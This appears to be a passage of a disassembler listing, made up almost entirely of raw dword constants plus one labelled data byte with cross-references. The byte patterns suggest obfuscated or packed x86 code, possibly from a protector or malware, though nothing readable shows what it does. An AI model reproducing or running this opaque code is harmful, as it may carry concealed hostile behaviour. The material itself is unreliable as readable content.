		dd 39ABBF66h, 0BE9h, 5E648600h,	0AAC6ACDAh, 655D3937h
		dd 52006AC3h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 168FD1Ch, 89A21A52h, 31B1DB5h, 6AC58A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0F853C350h, 0E896C8FFh, 66D9DF23h, 0B614C181h
		dd 6E9C08Bh, 0CA000000h, 12CB16CBh, 0E5BD8384h,	60304h
		dd 0BD830975h, 6032339h, 50197400h, 0B8C08B53h,	438h, 7398589h
		dd 9D8D0603h, 605B626h,	585BD3FFh, 2339BD83h, 74000603h
		dd 0B8535017h, 438h, 7398589h, 9D8D0603h, 605B2C7h, 585BD3FFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 85C35343h
		dd 714D8363h, 1AC58D8Bh, 6A0603h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 300698C3h, 2870FFAh
		dd 8A000000h, 5DBD89EFh, 8B06030Fh, 9858DC0h, 6A060313h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0C899C355h, 0BA29160h, 14E902F0h,	89000000h
		dd 0C79601C4h, 0C65EB8BDh, 3719E64h, 0F608D9EAh, 908DDE43h
		dd 0F525050h, 0F8Bh, 0AE900h, 0AA5C0000h, 0CC078CE5h, 0F0E38ED0h
		dd 7E8310Fh, 6000000h, 0D01088FAh, 0BB66C7C2h, 5A5F7454h
		dd 6A9058h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0DD20B5C3h, 0ABA71F97h, 880FE5C1h, 6, 29F19D31h
		dd 0DF810603h, 362B0264h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 2C1EB7C3h, 10E9217Bh
		dd 61000000h, 0BBF2A698h, 400D5BC4h, 8CB9A531h,	6AFFEEBBh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0B589C299h, 6032369h, 3A60858Dh,	6A0607h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0AB01F3C3h, 230F688Bh, 30F7DBDh, 5C08306h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ECC35343h, 50D8B70Fh
		dd 41BB6652h, 4895B11h,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 68C36983h, 5B165B57h
		dd 19E1B589h, 6A0603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 6DC35545h, 0ED9D01C1h, 6A060317h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 222462D8h, 33F04211h, 95FF78C9h, 6031DF9h, 69D38166h
		dd 338D8DB6h, 81060699h, 64265ED7h, 6AD1FF18h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 2543C350h, 0BF0FC1B1h, 89BD83DFh, 106031Dh, 77850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 5E93CC3h,	0ED000000h, 255699Dh, 0BB66026Ah
		dd 0E950844Ch, 0Fh, 1F130A2Fh, 0C58FF803h, 0C3801E03h
		dd 899217B1h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0F09D6AC3h, 0CFD95FFh, 850F0603h
		dd 6, 0F259D8Bh, 0BF0F0603h, 0D2CE9DBh,	0E80000h, 5D000000h
		dd 3A6AED81h, 0BD8B0607h, 6030F15h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0AAC35343h,	54AA65D3h, 0F88BB044h
		dd 9100858Dh, 8B660606h, 8B6690FBh, 0F88B50FBh,	51006A90h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 24337D53h, 137D73DDh, 0BD33F238h, 603250Dh, 0FF64F88Bh
		dd 35h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah,	24448104h
		dd 1A04h, 0C3524200h, 0ACA562CBh, 0E9D457FBh, 10h, 70706B1Fh
		dd 4FE7344Fh, 1CA4C3C5h, 199EFC43h, 258964h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0ED92C355h, 0D25209A7h, 8D958B60h, 0FC060305h
		dd 185FF61h, 8A06031Dh,	6AFF6ADCh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0C868C356h
		dd 2467EA69h, 0FF3A5551h, 32D25B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 840FF027h
		dd 5, 328BB7BBh, 0EDBD8B7Eh, 8B06030Ah,	325A5BDh, 4D95FF06h
		dd 0E906031Bh, 0DDh, 18C5BD8Bh,	9D8B0603h, 60305ADh, 8B6600B0h
		dd 25BD8BFBh, 0E6060309h, 0A800F70h, 60000000h,	1C0D9503h
		dd 0F38B0603h, 0E971E461h, 0Dh,	59B6B75Ah, 0FF170D2h, 8723D017h
		dd 0F613C5Bh, 9883h, 0C8B60F00h, 6BAh, 0C18BFC00h, 79D9D8Bh
		dd 0E8C10603h, 0FA8B6604h, 8BE2F766h, 31B399Dh,	0FC82B06h
		dd 385h, 0DA8B6600h, 0BD03D18Bh, 6031881h, 0E9h, 49858B00h
		dd 9060317h, 3215185h, 7C08306h, 0C083DA8Bh, 68F0F00h
		dd 2B000000h, 315B1BDh,	0FD03B06h, 883h, 32E9F800h, 0B7000000h
		dd 918D8B2Ch, 8B060309h, 320B1BDh, 1E18306h, 1B840Fh, 0CB800000h
		dd 91A5830Bh, 0FE060309h, 17499589h, 95010603h,	6032375h
		dd 0E9h, 11B58D00h, 6A0606BEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 7451C352h, 0BD8B5A88h
		dd 6032381h, 12E8h, 0FD72F100h,	1DBF5B6Eh, 44CA1022h, 627C48DEh
		dd 0FDB12A0h, 6A5FF8B7h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 95FF761Ch, 60323A5h, 7C8B9F9h
		dd 0BD890000h, 603246Dh, 81FCE183h, 0A960DDE7h,	99958902h
		dd 0FC06031Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	55C35242h, 8B6661D9h, 0E1BD09F8h, 2B060307h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0A15D059h, 66A90BE1h, 0BACEF2BFh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EBC35040h
		dd 99C772C3h, 0D20210AAh, 0BD59589h, 0FE90603h,	0CA000000h
		dd 0FE480086h, 526D3610h, 0F683364Eh, 33ADCE64h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0D51412C3h, 55006A50h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8B41A509h
		dd 30BFD9Dh, 880D06h, 0BF600000h, 170E56Fh, 8F7F3AB8h
		dd 958B615Eh, 60320A5h,	658D8BFCh, 0F06031Ah, 10E9FBB7h
		dd 0AF000000h, 0B2B82162h, 0FC9B0645h, 352C0B6h, 50B14A3Dh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	56006A58h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BD8BE100h, 60305C1h, 210DBD83h, 0F000603h, 1784h, 0FAB70F00h
		dd 0B8h, 8D8DFC00h, 6034D69h, 17399D8Bh, 0E1FF0603h, 71BD83h
		dd 0F000603h, 3B884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 831CEA9Ch, 30071BDh, 840F0106h
		dd 3A8h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	0ACC35040h, 9AF2DFF6h, 0CF80B1F1h, 71BD83FCh, 3060300h
		dd 340860Fh, 14E80000h,	0A0000000h, 94390CE9h, 0DC938B84h
		dd 656B77Ah, 0E11756D6h, 5B72A28Eh, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0CBCFCF13h
		dd 6614B365h, 9D23D98Ch, 6030E75h, 3104E180h, 314A5B5h
		dd 0FC90A06h, 15C84h, 0DE800h, 0B84D0000h, 0A54313CEh
		dd 162391E3h, 0E9DF0053h, 9, 8361F407h,	9CACB84Bh, 858B5F3Ah
		dd 60309ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0F1C35242h, 7E9h, 0EBAED400h, 85D34A47h, 4D9589h
		dd 85330603h, 6031A59h,	89505F52h, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 6AF9C3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DDC35141h, 0E873EDA6h
		dd 4, 1F03FFh, 0D98A5350h, 24448B5Fh, 0ADE1BF04h, 8B1B6Eh
		dd 818DBB66h, 4244489h,	9E9h, 0D114FE00h, 0D63AB217h, 6A58D092h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0D56DC353h, 0BF66CFFFh, 0D780F3AFh, 7195FFD5h
		dd 6A06032Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0A2B5C351h, 0BF69E087h, 739A2A98h
		dd 2A09BD03h, 85890603h, 606A703h, 0BDA9CF81h, 8B0F65CDh
		dd 6, 18ADB509h, 3AE90603h, 0F000001h, 1488h, 0FE900h
		dd 2D280000h, 0F12C3CEBh, 1E254EB3h, 14573BB2h,	0FB858B98h
		dd 0E90606A6h, 0Fh, 8719CC7Eh, 6CD7F5A1h, 0DE6B3D6Ah, 0C710F765h
		dd 1800h, 0AD958900h, 8B060300h, 6A6FFB5h, 899D0106h, 8B060329h
		dd 31F8985h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 562E4639h, 12E91Fh, 0EC560000h, 0EBA836A5h
		dd 0E72B1B69h, 53BCFF0Ch, 0B82E1046h, 0BD890689h, 6030B05h
		dd 8E9h, 0D7C4E700h, 0CF65A665h, 0AD858B81h, 57060309h
		dd 2F798529h, 895B0603h, 8E90446h, 0B4000000h, 2C1184EAh
		dd 96D6E574h, 90F355BBh, 52505060h, 0BE9310Fh, 2E000000h
		dd 936CEED6h, 0B2A13AAFh, 585AAC54h, 85036096h,	6033135h
		dd 0BE9h, 1BCB8500h, 9BADA61Dh,	7BA9D0DDh, 0FBB5FF61h
		dd 520606A6h, 1ADD9D8Bh, 685B0603h, 2C147925h, 0DA243481h
		dd 292C0B7Ah, 32A1D85h,	3858D06h, 890606A7h, 31775BDh
		dd 88BB9006h, 5040B416h, 0DF8B6653h, 0B70F905Fh, 7195FFFFh
		dd 8B06032Eh, 31FA1BDh,	6A6106h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 554949C3h, 0C71D8EE2h
		dd 3007185h, 306h, 0E98D8900h, 8306032Ch, 6A703BDh, 840F0006h
		dd 2Eh,	8AECEB80h, 3FE9DEh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 341821C3h
		dd 4CB6E04Eh, 30500C07h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 10E9C0h, 0FD970000h, 439874E1h
		dd 0AD0D7618h, 8A7314F0h, 0DE9758Eh, 0A0000000h, 0F68D9E48h
		dd 0E825083Eh, 6C513DA8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0C2C35747h, 6800FC8h,	8B000000h, 30E259Dh
		dd 71BD8306h, 3060300h,	461850Fh, 0E8F80000h, 11h, 59830FBDh
		dd 56C58865h, 9CA44304h, 615CFA72h, 0AE9DBh, 0BD690000h
		dd 8809DFAh, 53E9C147h,	3BD835Bh, 606A7h, 42D840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 5C7557C3h, 0FA57718Ah, 0B5FF9E4Fh, 606A703h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 47C35141h, 6DD9893Ah
		dd 720457ABh, 0B19D8992h, 0FF060306h, 32A7595h,	0CF816606h
		dd 0B58BAAD1h, 606A6F7h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0A5C35646h, 5C4B77FDh, 8F744E00h, 89B5B701h
		dd 322F5BDh, 106C706h, 6A000100h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F4EDC351h
		dd 3260D337h, 0CE76EB6Fh, 0A0BB6696h, 13E85082h, 5C000000h
		dd 0E22D6985h, 0BF02B776h, 384D287Ah, 9964971Ch, 0EE98499h
		dd 7E000000h, 2AECADF1h, 0A56C88C6h, 4926FFB6h,	6A965B44h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0A5E3C351h, 6DF59743h, 0BE944B4Fh, 0A703B5FFh
		dd 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 8877C4C3h, 97D943E7h, 9111A3Bh, 323F195h
		dd 4995FF06h, 6A060324h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 6183C357h, 0A6F7B58Bh
		dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0B710F2C3h, 31858B75h, 6A060331h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0B4AC352h, 0AB4138D8h, 4BF6804Bh, 1F8D9D8Bh,	86890603h
		dd 0C4h, 20A5958Bh, 6A0603h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0C8558FC3h, 20E1714Ch
		dd 0AE88E49h, 83000000h, 720FA68Fh, 562944BBh, 6D9D8970h
		dd 5B060323h, 2951BD89h, 0C2830603h, 8E96004h, 1B000000h
		dd 0D4565545h, 8B99F1F2h, 322B99Dh, 50896106h, 57006A20h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 6EA06E20h, 89475C20h, 306B18Dh, 16858D06h, 0F0606BBh
		dd 86h,	0B8868900h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0EE0CC353h,	56FCBB8Ah
		dd 0D9B70FEDh, 1C69BD29h, 6A0603h, 1881BD0Bh, 0B5890603h
		dd 60325EDh, 0A703B5FFh, 8B660606h, 0FD95FFF8h,	0BB06030Ch
		dd 32C9A95Fh, 89FE8B50h, 0B5892434h, 6030BEDh, 0A703B5FFh
		dd 9D8B0606h, 60322C1h,	2E7D95FFh, 6A0603h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 5A0556C3h
		dd 684AE381h, 0BB66428Fh, 0BD833848h, 60326C9h,	3B840F00h
		dd 66000000h, 8950DE8Bh, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 89D61EC3h, 31F8D95h
		dd 0CE906h, 0CC890000h,	4FD79E92h, 0A56DDB35h, 0B5FFB0EDh
		dd 606A703h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0A7C35545h, 0C38166FBh,	9E96B97h, 0
		dd 0BA3BF746h, 0E1B68F13h, 0E65BD89h, 95FF0603h, 60314B9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 78C35747h
		dd 0B5893AD0h, 6030F11h, 0A703B5FFh, 6A0606h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0EF591DC3h
		dd 95FFAFF9h, 6030C95h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0E0C35343h, 9281069Bh, 0DC943161h, 83BB66A5h
		dd 4DBD83EDh, 206032Dh,	19840Fh, 0BF0F0000h, 0ED858BF9h
		dd 66060323h, 0C6BFAFBFh, 95890000h, 6031A7Dh, 0C7DF8B66h
		dd 3308185h, 6,	0A18D8900h, 0E906031Fh,	0FFFFF401h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B7C35747h, 0C18BDE8Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FCC35040h
		dd 6C524B0Dh, 858DA717h, 6031309h, 0B276C381h, 0F901DA6h
		dd 482h, 72B35700h, 5057505Bh, 820F52h,	0F000000h, 1B25BB31h
		dd 585A757Bh, 8D31905Fh, 6030E6Dh, 18FD9D8Bh, 6A0603h
		dd 1FF59589h, 6A0603h, 0BE59D8Bh, 858D0603h, 60748EBh
		dd 81C27CBFh, 5C08349h,	729B529h, 66500603h, 89B36FBFh
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0DCCDEDC3h, 6AF96Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 92C35040h, 19F19D89h, 6A0603h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 57C35242h
		dd 967E3408h, 8BA3E816h, 30BB59Dh, 0F995FF06h, 8B06031Dh
		dd 31499BDh, 338D8D06h,	8A060699h, 52D1FFDCh, 5FDFB70Fh
		dd 14FC5EBFh, 89BD8323h, 106031Dh, 5A850Fh, 0D88A0000h
		dd 0BF0F026Ah, 0BF6650DBh, 489975Bh, 53006A24h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 6890F98h, 31000000h
		dd 32FA18Dh, 0FD95FF06h, 6A06030Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8450C355h
		dd 0DD3E9h, 0E800h, 815D0000h, 748F5EDh, 78D38106h, 31703C90h
		dd 3202595h, 858D06h, 50060691h, 0C840Fh, 8E0F0000h, 6
		dd 310F5250h, 489585Ah,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 53F20ECFh, 0CA7127BCh
		dd 35FF64EBh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C3C35141h
		dd 6985899Ah, 8B060317h, 319E19Dh, 25896406h, 0
		dd 0FFDFBF0Fh, 31D0185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 787F3FCBh, 8FBB1B19h
		dd 8D89556Eh, 6032165h,	8589FF6Ah, 6031B6Dh, 2EB9BD2Bh
		dd 0B5FF0603h, 6031AB1h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0FDC35747h, 0E1738149h, 14D5212h, 318D5B5h
		dd 4D95FF06h, 0E906031Bh, 0F0h,	116CCB81h, 0B06014h, 0E6FEBF0Fh
		dd 8B665070h, 71E45BDFh, 0DE5BD2Bh, 613C0603h, 0CE830Fh
		dd 0BB660000h, 0B60FB3E5h, 0E99D8BC8h, 0BA060329h, 6, 8501DF8Bh
		dd 6030705h, 0FA8AC18Bh, 6604E8C1h, 0BF0FD88Bh,	0E2F766DEh
		dd 8880Fh, 820F0000h, 2, 0C82BD88Bh, 64D9D09h, 0D18B0603h
		dd 16E59D8Bh, 3E90603h,	66000000h, 858BDA8Bh, 6030325h
		dd 0DF59D33h, 0C0830603h, 0AE907h, 4E190000h, 0C68E1DB3h
		dd 9D1B4B94h, 0C083F98Ah, 2860F00h, 8B000000h, 0FD03BFAh
		dd 0B83h, 0DBD0300h, 0E9060313h, 40h, 0CB58D8Bh, 57600603h
		dd 1A75BD8Bh, 0F5E0603h, 8361DFB7h, 840F01E1h, 24h, 3231CB81h
		dd 0A58308B4h, 6030CB5h, 0C2BB66FEh, 89FB8B5Eh,	3032595h
		dd 0C5853106h, 0E9060307h, 0
		dd 0CE18B58Dh, 6A0606h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 6A00B3C3h, 11E800h, 0CED00000h
		dd 0EA1419FBh, 0CEAC8264h, 0EF570C5Fh, 60849AF7h, 0CE8h
		dd 87037C00h, 0FFE8327Bh, 43D59978h, 95015F47h,	60324E5h
		dd 14E95B61h, 0C000000h, 0D930FB37h, 3F71E2F6h,	0A3EBEA85h
		dd 0D94B22E6h, 0FF19074Fh, 323A595h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 260F9A18h
		dd 0AAB9DCD9h, 6A00000Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0E8F6C351h,	18FE8083h
		dd 20C2EB6Bh, 66FCE183h, 0FC86EEBFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0B1C35646h,	0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 17660C60h, 0BD8904F1h, 603099Dh, 6AD22Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0D1492DC3h
		dd 4834CF2h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	30FD8589h
		dd 0E9520603h, 8, 0C6A71414h, 4E175D23h, 880D5Bh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 69A1B3C3h, 0DB5EC7A1h, 20A5958Bh, 6A0603h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 668FB6C3h
		dd 913AF381h, 1A658D8Bh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0FB8BA2C3h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 827CE8C3h
		dd 72E90ED4h, 0B79CAF85h, 0EE940h, 1E700000h, 5D681917h
		dd 0E254889Eh, 21751A97h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0A4C35646h, 66C3A8DEh, 9305EB81h, 210DBD83h
		dd 0F000603h, 1984h, 391DBB00h,	0B8635Ch, 80000000h, 8D8DEBE7h
		dd 6034D69h, 0BF66E1FFh, 0BD83BA2Ch, 6030071h, 17840F00h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 83BCC351h, 30071BDh, 840F0106h
		dd 409h, 0FA3EB81h, 0BD833C86h,	6030071h, 0C0860F03h, 6A000003h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0D95C353h, 29243FCAh, 0F2BB6076h,	66120714h
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 646B53C3h, 89CB39EDh, 320C995h, 32BB6606h
		dd 0A9BD8B04h, 80060316h, 0DF8104E1h, 7BCE592Eh, 840FC90Ah
		dd 12Ah, 20419D8Bh, 858B0603h, 60309ADh, 14800Fh, 0FE90000h
		dd 30000000h, 0EF8E244Eh, 4F86E3E4h, 0A2E91E6Ah, 8533E333h
		dd 6031A59h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	2BC35141h, 641B84A4h, 0BD8B5A9Dh, 6030441h, 14E990h
		dd 635E0000h, 80C02D2h,	0FA103253h, 0C6C4F872h,	98089BF2h
		dd 8B507C77h, 820F90F9h, 5, 0CABF0F60h,	6A006A61h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0C09EC356h, 0A2C96B68h, 0F525042h, 108Eh, 0BE900h, 403F0000h
		dd 0CCC67673h, 964CF741h, 60310F64h, 11E9h, 0F9022100h
		dd 748BC744h, 0B43798Ah, 0E66E0E13h, 860F4DC7h,	0
		dd 81585A61h, 0CA942434h, 952942BDh, 6032041h, 2E7195FFh
		dd 89F50603h, 6A70385h,	0EE906h, 0D22D0000h, 29839FFCh
		dd 0F1356D2Bh, 232CA65Ah, 1BCE9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 858B3855h
		dd 606A6FBh, 10E9h, 0D0718D00h,	0D9BBDh, 85827FC9h, 86B3493Fh
		dd 1800C79Fh, 0FC000000h, 13E9h, 0EB4A0F00h, 990A3D43h
		dd 9450FB97h, 948569EDh, 7A1580C0h, 0A6FFB58Bh,	0BEB70606h
		dd 1F89858Bh, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 88B34BC3h, 9D8BB253h, 6030AB1h
		dd 0D98B0689h, 0AE9h, 7E233900h, 6140DD8Bh, 8B464217h
		dd 309AD85h, 0DA8B6606h, 0F044689h, 0E996DEBFh,	5, 50E2CF70h
		dd 10E85095h
		db 0
byte_530055	db 2 dup(0), 0C8h	; DATA XREF: ___:off_42CC84o
					; ___:off_42CC9Co
		dd 0A1E83462h, 0D73FB310h, 0FD411276h, 0BF23A6FBh, 13239072h
		dd 8589965Bh, 6032F81h,	0A6FBB5FFh, 6A0606h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 120A9C3h
		dd 8B0785DAh, 570A68DEh, 66574BFCh, 5BE262BFh, 0F5243481h
		dd 6A4BE354h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0D6EEC351h, 2932D5AEh,	3296D8Dh
		dd 13E906h, 34B00000h, 0FD36A026h, 0DCD4688Ah, 0FB9E8EE5h
		dd 8276C749h, 3858D16h,	8B0606A7h, 0D98A90FEh, 0B622BF50h
		dd 6A907FDFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0CB58C351h, 78AEE30Ch,	26D99D8Bh
		dd 0E7800603h, 7195FFCCh, 6A06032Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 7229C350h
		dd 9AA588C5h, 0FABF0F0Ah, 0C7F961FCh, 3007185h,	306h, 0BD315100h
		dd 6030B31h, 3BD835Fh, 606A7h, 69840Fh,	6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0E8AED3C3h, 0E9FD1B6Bh, 14h,	0A354C787h, 57EFB7D9h
		dd 47864D8h, 634140FDh,	0A6044B5Fh, 45E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 897E64A6h, 3091DBDh,	8D8D8906h, 5006030Dh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 9D8BC08Bh
		dd 60302F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	8C35242h, 1DF81138h, 8B5BA135h,	32E419Dh, 71BD8306h
		dd 3060300h, 4B0850Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 2DF8C1C3h, 425CD0BFh
		dd 0C8F0F20h, 60000000h, 2C46BB66h, 2655BD8Bh, 83610603h
		dd 6A703BDh, 840F0006h,	46Eh, 8E960h, 82E60000h, 2AB6D626h
		dd 9D899108h, 603230Dh,	3B5FF61h, 0E80606A7h, 0Ah, 0E5992836h
		dd 4E19E5F9h, 0FE91DB3h, 0BD000000h, 0E518A81Dh, 40EEA232h
		dd 41268708h, 0FF5FB689h, 32A7595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0ACAC28D3h
		dd 2FAFAED0h, 0B58B5F29h, 606A6F7h, 0F3145ABFh,	106C753h
		dd 6A000100h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 889DC351h, 870515EDh, 50D88B5Dh
		dd 310F5250h, 0C810Fh, 7E90000h, 0C6000000h, 2B52F8D0h
		dd 585AA6FCh, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0AED9C352h,	0E9BD9F56h
		dd 0Eh,	77CB5102h, 9182D3D9h, 0D55C2EECh, 0B5FFCE28h, 606A703h
